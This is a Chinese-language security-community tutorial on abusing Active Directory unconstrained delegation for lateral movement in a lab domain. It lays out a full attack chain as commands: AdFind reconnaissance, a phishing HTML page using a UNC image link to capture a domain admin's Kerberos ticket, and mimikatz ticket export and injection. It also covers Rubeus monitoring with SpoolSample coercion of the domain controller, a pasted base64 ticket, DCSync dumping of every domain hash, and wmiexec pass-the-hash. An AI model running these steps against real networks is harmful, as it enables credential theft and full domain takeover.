非约束委派(Unconstrained Delegation, UD)-基于配置的横向移动

suhaynn2026-05-09文章来源:SecHub网络安全社区


基于配置的横向移动

委派安全知识点

委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等),类似于租房中介房东的关系去理解。

域委派分类:

1、非约束委派(Unconstrained Delegation, UD)

2、约束委派(Constrained Delegation, CD)

3、基于资源的约束委派(Resource Based Constrained Delegation, RBCD)

简而言之,

非约束委派是指用户账户将自身的TGT转发给服务账户使用。

约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。

RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。

非约束委派(UD)

域控主机本身就有非约束委派

原理:

非约束性委派(Unconstrained Delegation)允许服务账户获取用户的 TGT,并将其缓存到 LSASS 进程中,从而服务账户可以使用该 TGT 模拟用户访问域内的任意服务,当某个服务的服务账户开启了非约束委派,那么当任意用户访问这个服务之后,该用户的 TGT(Ticket Granting Ticket,票据授权票据)确实会被保存下来,如果域管访问了该服务也会捕获到域管的hash,意味着获得了域管的特权来进行提权。

利用场景

攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户。

复现配置:

需要域管权限去给计算机或者服务账户进行配置

1、信任此计算机来委派任何服务

2、信任域用户作为服务账户来委派任何服务

首先创建一个非约束委派账户,需要先注册 SPN,不然是没有设置委派那个按钮的:

setspn -U -A priv/test webadmin setspn -U -A 服务名称/主机名.域名 域账号 setspn -U -A MSSQLSvc/win10pc.myd.com:1433 alex #删除 setspn -D abc/sentiment.com admin

判断查询:

查询域内设置了非约束委派的服务账户:

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置了非约束委派的机器账户:

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

至少能查询出一个,就是域控主机

思路1:诱使域管理员访问机器

利用条件:

1、需要立足点主机的本地Administrator权限

2、域内主机的机器账户开启非约束委派

3、域控管理员远程访问(主动或被动)

主动连接利用过程:

比如当前的立足点是WebServer主机,他被域管配置了非委派约束,现在哪个用户访问了该主机,那么该用户的TGT就会被保存在该主机内存中,我们需要获取到该立足点主机的administrator权限利用mimikatz去抓到该用户的TGT,比如域管的TGT。

前期需要判断当前域内是否有被配置了非委派约束的服务账户或机器账户

域控与委派机器通讯

当发现当前立足点主机配置了非约束委派,那就可以让域控和配置了非约束委派机器进行通讯,可以诱使域管主动去访问目标主机,也可以采用钓鱼的方式让域管访问

主动:

域管可能在域控上边和我们的立足点建立过远程连接,只是可能

net use \\webserver

钓鱼:

当前立足点主机弱存在web服务,那么可以创建一个网页,当域管访问了该网页,那么立足点也会抓到域管的TGT

http://192.168.3.31/31.html <!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="file:///\\192.168.3.31\2"> </body> </html>
导出票据到本地

当域管通过主动访问或者中钓鱼等方式成功的和WebServer进行了通信,那么现在就要想办法抓域管的TGT了

mimikatz sekurlsa::tickets /export

导入票据到内存

抓到之后把票据导入内存

mimikatz kerberos::ptt [0;db89b]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi

如果导入内存时报错,就把域管票据重命名一下

重命名或者复制一份都行,记得用双引号包括

shell ren "[0;db89b]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi" "administrator.kirbi"

连接通讯域控
shell dir \\owa2010cn-god\c$

现在就和域管已经连接上了,接下来就是copy木马后门上去,启动定时任务或者服务来运行后门、不在演示,上述的主动连接太鸡肋,需要域管主动去连我们的立足点主机

钓鱼连接利用过程:

清除票据重新做实验

判断查询:

不在赘述,和上边一样的

域控与委派机器通讯

钓鱼:

当前立足点主机弱存在web服务,那么可以创建一个网页或者替换掉首页,当域管访问了该网页,那么立足点也会抓到域管的TGT

http://192.168.3.31/31.html <!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="file:///\\192.168.3.31\2"> </body> </html>

上传到立足点主机的web服务目录

当域管访问了该网页时http://192.168.3.31/index.html

接下来和上述的步骤就一样了,不在重复。

总结一下思路1,很被动,需要对方主动访问自己或者被钓鱼,实战中意义不大,下面复现一下打印机漏洞触发域控强制访问配置了非委派约束的主机,不需要与域管进行交互的同时就能抓到域控机器账户的TGT

思路2:结合打印机漏洞

利用条件:

1、Administrator权限监听

2、打印机服务spooler开启(默认开启)

3、需要DC 2012以上

利用过程:

xiaodi.com非委派约束环境搭建
服务器 类型 IP 本地管理员账号 本地管理员密码 域用户账号 域用户密码
WebServer 2016 Web服务器 192.168.139.11 administrator xiaodi web2016 Xiaodi12345
WinServer DC 域控 192.168.3.30 administrator admin

Webserver双网卡192.168.213.0/24和192.168.3.0/24

其余主机都是192.168.3.0/24

VMnet3是内网网段,VMnet8是外网网段

将工具上传到我们的立足点主机webserver

监听来自DC的请求数据并保存文件

需要以本地administrator权限去监听

shell Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt

域用户运行SpoolSample强制让DC请求

这里让域用户去触发

shell SpoolSample.exe dc web2016

此时上一步的Rubeus便会生成对应的hash.txt,把他下载下来

提取一下

doIE8jCCBO6gAwIBBaEDAgEWooID/zCCA/thggP3MIID86ADAgEFoQ0bC1hJQU9ESTguQ09NoiAwHqADAgECoRcwFRsGa3JidGd0GwtYSUFPREk4LkNPTaOCA7kwggO1oAMCARKhAwIBAqKCA6cEggOjNGQ/ImJqiZofgMbuquHvB/v16paCJXwzVFBed3u87FVIQ0ryByngkyWGLtxajn8Nb5+n5zQxIVjb4auORT9csLyOs7g1MH1BI1NCSaqRf5t9t0XdrLs5UfQQzjXW6ikWl25LH6B24viDBdH772fmRpBXYfwOhU6Pb7GOnaRIXLJsgDWXa0Qc0+mR/y345+Mmb5IasGrb95YDyMVJy4I3A9qIqrQ5NIC12tYWp42PR4AuCMJzoBRC+vhRwTBkB5+gTeCXmKjmpyqQcF7MreyXm6UeirgnyLfeGt4GYv0tkALR1tWpl2S6NE5+rtkhRUXhJmXMXNYhUXz4EQv7pVcN/5J5cPxL8ZG1SZcU0a3pR3SrUYEJ4uKc1JY06PkuQN/fiVP1gh6vzjQBIgDDZMuxe2LOxhZOuwbr3eYer42Lh+Qg8070HWaIR/pcP7flK/PNSpxcd3uLB+p/oaa95cXKskH9puw7FpTboExqeuRHB64BpYZ2kYlRe49vBw7VomxmwEql8UfYd6qhFO0qB3/HKqS95DZQxftld6GFUckp6+Nv1Sr1jCYfP666osakH4Jd/CDSD647w5IQIG3SpvOojwYUU1jN2gt7Z/CVREG44U/8un5Jnh48fKtNTqRTtrBe6MOMT0ykV5DRNOB01L1700ox/CvRid6TI4XaELx/59qwDb2bCBYJV063C9WxXtGmLagaSrkY4GGaRYiL4ZchBjM0TvHRown/x1/PyMWFBCyidPhGvEiQD2J7iKCKw5DnmGweArPvDEm1kq/zeCfSwkcRydd4PJxWF77R+nq5TPY2qh9AzBzY9+pMXeqZuBtNl7472gWRoVpRHn00LzALC6LvG2RRkSCQFiQgo+QFMzEeKX96z7PSNuare9Y0ScSOuwxhzWKxwN5eoU+bLEz9h7utt6KaMRR729xfsThL5e1ZU76GBHXOEARMZylAeW4ML69wb3SdPtsjGTmS10S8A7ka+eHF4yUlZXDYqDAUCS1Pq2zL/tm0I22eH0L7NmUTOclNPiZwlVQ6TsBc13sHleMQAIyuGWPXRb6HR+OtgOehUcsQdbKnt2j01YNQJyg+GxBnkm8Yc4MIWfLpENxQQHJ1LSOzoQY3qK5y+L4CrRymSKVDRl6RzEx1dZ3Tu2baIFg1TwRvPvQm/KljWs0mGvA98ur9LEoz981YsYndfwNQn0ilsPrv2KOxlFpDN2+V9SSXSfWeH0ORdVw2vwtEsyxVxKOB3jCB26ADAgEAooHTBIHQfYHNMIHKoIHHMIHEMIHBoCswKaADAgESoSIEIIVf28tTuF+cnS0hnJpoODX/VOSSkHWuiYaAIXSaWNxaoQ0bC1hJQU9ESTguQ09NohAwDqADAgEBoQcwBRsDREMkowcDBQBgoQAApREYDzIwMjUwMzE2MDQ1MjE4WqYRGA8yMDI1MDMxNjE0NTIxOFqnERgPMjAyNTAzMjMwNDUyMThaqA0bC1hJQU9ESTguQ09NqSAwHqADAgECoRcwFRsGa3JidGd0GwtYSUFPREk4LkNPTQ==
Rubeus监听到票据并导入该票据
shell Rubeus.exe ptt /ticket:doIE8jCCBO6gAwIBBaEDAgEWooID/zCCA/thggP3MIID86ADAgEFoQ0bC1hJQU9ESTguQ09NoiAwHqADAgECoRcwFRsGa3JidGd0GwtYSUFPREk4LkNPTaOCA7kwggO1oAMCARKhAwIBAqKCA6cEggOjNGQ/ImJqiZofgMbuquHvB/v16paCJXwzVFBed3u87FVIQ0ryByngkyWGLtxajn8Nb5+n5zQxIVjb4auORT9csLyOs7g1MH1BI1NCSaqRf5t9t0XdrLs5UfQQzjXW6ikWl25LH6B24viDBdH772fmRpBXYfwOhU6Pb7GOnaRIXLJsgDWXa0Qc0+mR/y345+Mmb5IasGrb95YDyMVJy4I3A9qIqrQ5NIC12tYWp42PR4AuCMJzoBRC+vhRwTBkB5+gTeCXmKjmpyqQcF7MreyXm6UeirgnyLfeGt4GYv0tkALR1tWpl2S6NE5+rtkhRUXhJmXMXNYhUXz4EQv7pVcN/5J5cPxL8ZG1SZcU0a3pR3SrUYEJ4uKc1JY06PkuQN/fiVP1gh6vzjQBIgDDZMuxe2LOxhZOuwbr3eYer42Lh+Qg8070HWaIR/pcP7flK/PNSpxcd3uLB+p/oaa95cXKskH9puw7FpTboExqeuRHB64BpYZ2kYlRe49vBw7VomxmwEql8UfYd6qhFO0qB3/HKqS95DZQxftld6GFUckp6+Nv1Sr1jCYfP666osakH4Jd/CDSD647w5IQIG3SpvOojwYUU1jN2gt7Z/CVREG44U/8un5Jnh48fKtNTqRTtrBe6MOMT0ykV5DRNOB01L1700ox/CvRid6TI4XaELx/59qwDb2bCBYJV063C9WxXtGmLagaSrkY4GGaRYiL4ZchBjM0TvHRown/x1/PyMWFBCyidPhGvEiQD2J7iKCKw5DnmGweArPvDEm1kq/zeCfSwkcRydd4PJxWF77R+nq5TPY2qh9AzBzY9+pMXeqZuBtNl7472gWRoVpRHn00LzALC6LvG2RRkSCQFiQgo+QFMzEeKX96z7PSNuare9Y0ScSOuwxhzWKxwN5eoU+bLEz9h7utt6KaMRR729xfsThL5e1ZU76GBHXOEARMZylAeW4ML69wb3SdPtsjGTmS10S8A7ka+eHF4yUlZXDYqDAUCS1Pq2zL/tm0I22eH0L7NmUTOclNPiZwlVQ6TsBc13sHleMQAIyuGWPXRb6HR+OtgOehUcsQdbKnt2j01YNQJyg+GxBnkm8Yc4MIWfLpENxQQHJ1LSOzoQY3qK5y+L4CrRymSKVDRl6RzEx1dZ3Tu2baIFg1TwRvPvQm/KljWs0mGvA98ur9LEoz981YsYndfwNQn0ilsPrv2KOxlFpDN2+V9SSXSfWeH0ORdVw2vwtEsyxVxKOB3jCB26ADAgEAooHTBIHQfYHNMIHKoIHHMIHEMIHBoCswKaADAgESoSIEIIVf28tTuF+cnS0hnJpoODX/VOSSkHWuiYaAIXSaWNxaoQ0bC1hJQU9ESTguQ09NohAwDqADAgEBoQcwBRsDREMkowcDBQBgoQAApREYDzIwMjUwMzE2MDQ1MjE4WqYRGA8yMDI1MDMxNjE0NTIxOFqnERgPMjAyNTAzMjMwNDUyMThaqA0bC1hJQU9ESTguQ09NqSAwHqADAgECoRcwFRsGa3JidGd0GwtYSUFPREk4LkNPTQ==

使用mimikatz导出域内Hash

此时我们的立足点主机上已经有了域管的机器账户的TGT了,可以进行DCSync攻击来获取所有域用户hash

mimikatz lsadump::dcsync /domain:xiaodi8.com /all /csv

成功抓到域控的hash

Tips:域控的机器账户不能用于登录,但是具有DCSync权限,所以可以用来导出所有域内用户hash

使用wmi借助hash横向移动

拿到hash就可以挂上代理进行PTH攻击了,指哪打哪

python3 wmiexec.py -hashes :0b17b318cd59bb4e90f5a528437481a9 xiaodi8.com/administrator@dc.xiaodi8.com -no-pass

或者使用CS自带的PTH横向移动工具

思路3:结合NTLM Relay(CVE-2019-1040)

适用于windows其他版本

结合NTLM Relay监听,后续讲到